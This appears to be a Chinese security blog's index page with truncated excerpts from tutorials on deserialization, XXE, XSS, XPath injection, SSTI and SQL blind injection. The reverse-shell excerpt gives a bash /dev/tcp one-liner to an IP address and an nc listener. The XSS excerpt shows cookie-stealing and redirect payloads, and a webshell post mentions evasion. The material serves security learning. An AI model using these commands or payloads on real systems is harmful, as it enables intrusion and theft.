加密算法与随机数
摘要
加密算法与随机数1.加密算法哈希算法
反序列化
摘要
反序列化反序列化是将之前序列化的数据重新还原为其原始数据结构或对象的过程。在PHP中,您可以使用unserialize函数来执行反序列化操作。
以下是一个基本的PHP反序列化示例:
1234567891011121314// 创建一个关联数组$data = array( 'name' => 'John', 'age' => 30,);// 将数组序列化为字符串$serializedData = serialize($data);// 反序列化字符串以恢复原始数组$unserializedData = unserialize($serializedData);// 打印反序列化后的数据print_r($unserializedData);
在这个示例中,我们首先创建了一个关联数组$data,然后使用serialize函数将其序列化为字符串。接下来,我们使用unserialize函数将字符串反序列化为原始数组,并最后打印出反序列化后的数据。
需要注意的是,反序列化操作具有潜在的安全风险, ...
反弹shell
摘要
反弹shell1.bash反弹shell1bash -i >& /dev/tcp/192.168.20.151/8080 0>&1
其实以上bash反弹一句完整的解读过程就是:
bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。 在反弹shell时要借助netcat工具反弹
Netcat 一句话反弹:Netcat反弹也是非常常用的方法,只是这个方法需要我们手动去安装一个NC环境
开启外网主机监听1nc -lvvp 8080
如果报错/bin/sh: 1: Syntax error: Bad fd number ret=2
首先查看/bin/sh指向:
1ls -al /bin/sh
可以看到/bin/sh其实是一个软连接文件(l),类似于windows中的快 ...
XXE
摘要
XXE漏洞XXE的特征
特征1 — .ashx看到url是 .ashx后缀的
特征2 — 响应体是xml
发现有这些特征都可以用下面的流程测试
注意发包需要修改格式:
1Content-Type: application/xml
1.简介
2.XML基础知识
PCDATAPCDATA 的意思是被解析的字符数据(parsed character data)。
可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
文本中的标签会被当作标记来处理,而实体会被展开。
不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们。
CDATACDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
解析后:
3.XXE漏洞利 ...
XSS
摘要
XSS
1.反射型XSS
1<script>alert("点击此处修复");location.href="https://www.baidu.com"</script>
1<script>alert(document.cookie);</script>
例二:
并没有被当作脚本执行。
发现我们输入的脚本在p标签中。我们可以闭合p标签。
成功执行。
2.存储型xss
每次刷新网站都会弹出。
beef-xss为kali自带。
3.DOM型XSS
4.mXSS
Xpath注入
摘要
Xpath注入XPath(XML Path Language)是一种用于在XML文档中定位和提取数据的查询语言。XPath注入是一种安全漏洞,它发生在应用程序未正确验证或过滤用户提供的XPath查询时。攻击者可以通过构造恶意的XPath查询来执行未授权的操作或者访问敏感信息。
以下是XPath注入的一些常见示例和防护措施:
示例 1:基本的XPath注入
1234<user> <username>admin</username> <password>admin123</password></user>
正常的XPath查询:
1/user/username[text()='admin' and /user/password/text()='admin123']
恶意的XPath查询:
1/user/username[text()='admin' or 1=1]/password/text()='admin123' ...
WEBshell
摘要
WEBshell
奇技淫巧-隐藏和免杀
SSTI(服务器端模板注入)
摘要
SSTI(服务器端模板注入)1.简介模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。
模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。
2.SSTI(模板注入)SSTI 就是服务器端模板注入(Server-Side Template Injection)
当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过 ...
SQL注入防御
摘要
SQL注入防御1.原因
2.过滤防御
SQL盲注
摘要
SQL盲注一:定义sql盲注就是在sql注入过程中, sql语句执行的选择后,选择的数据不能回显到前端页面,那我们可以通过什么样的方式来获得我们需要的数据呢?通过本实验的学习,掌握SQL盲注的基本方法、常用函数以及测试流程
1)SQL盲注介绍 盲注就是在sql注入过程中, sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。盲注分为三种类型:基于布尔的SQL盲注、基于时间的SQL盲注、基于报错的SQL盲注。
2) 关于SQL基础语句 增:insert into tableName(columnName1,columnName2) values(value1,value2)
删:delete from tableName where …
改:update tableName set columnName=value where …
查:select * from tableName where …
3) Information_schema数据库基本表说明: schemata表:提供了 ...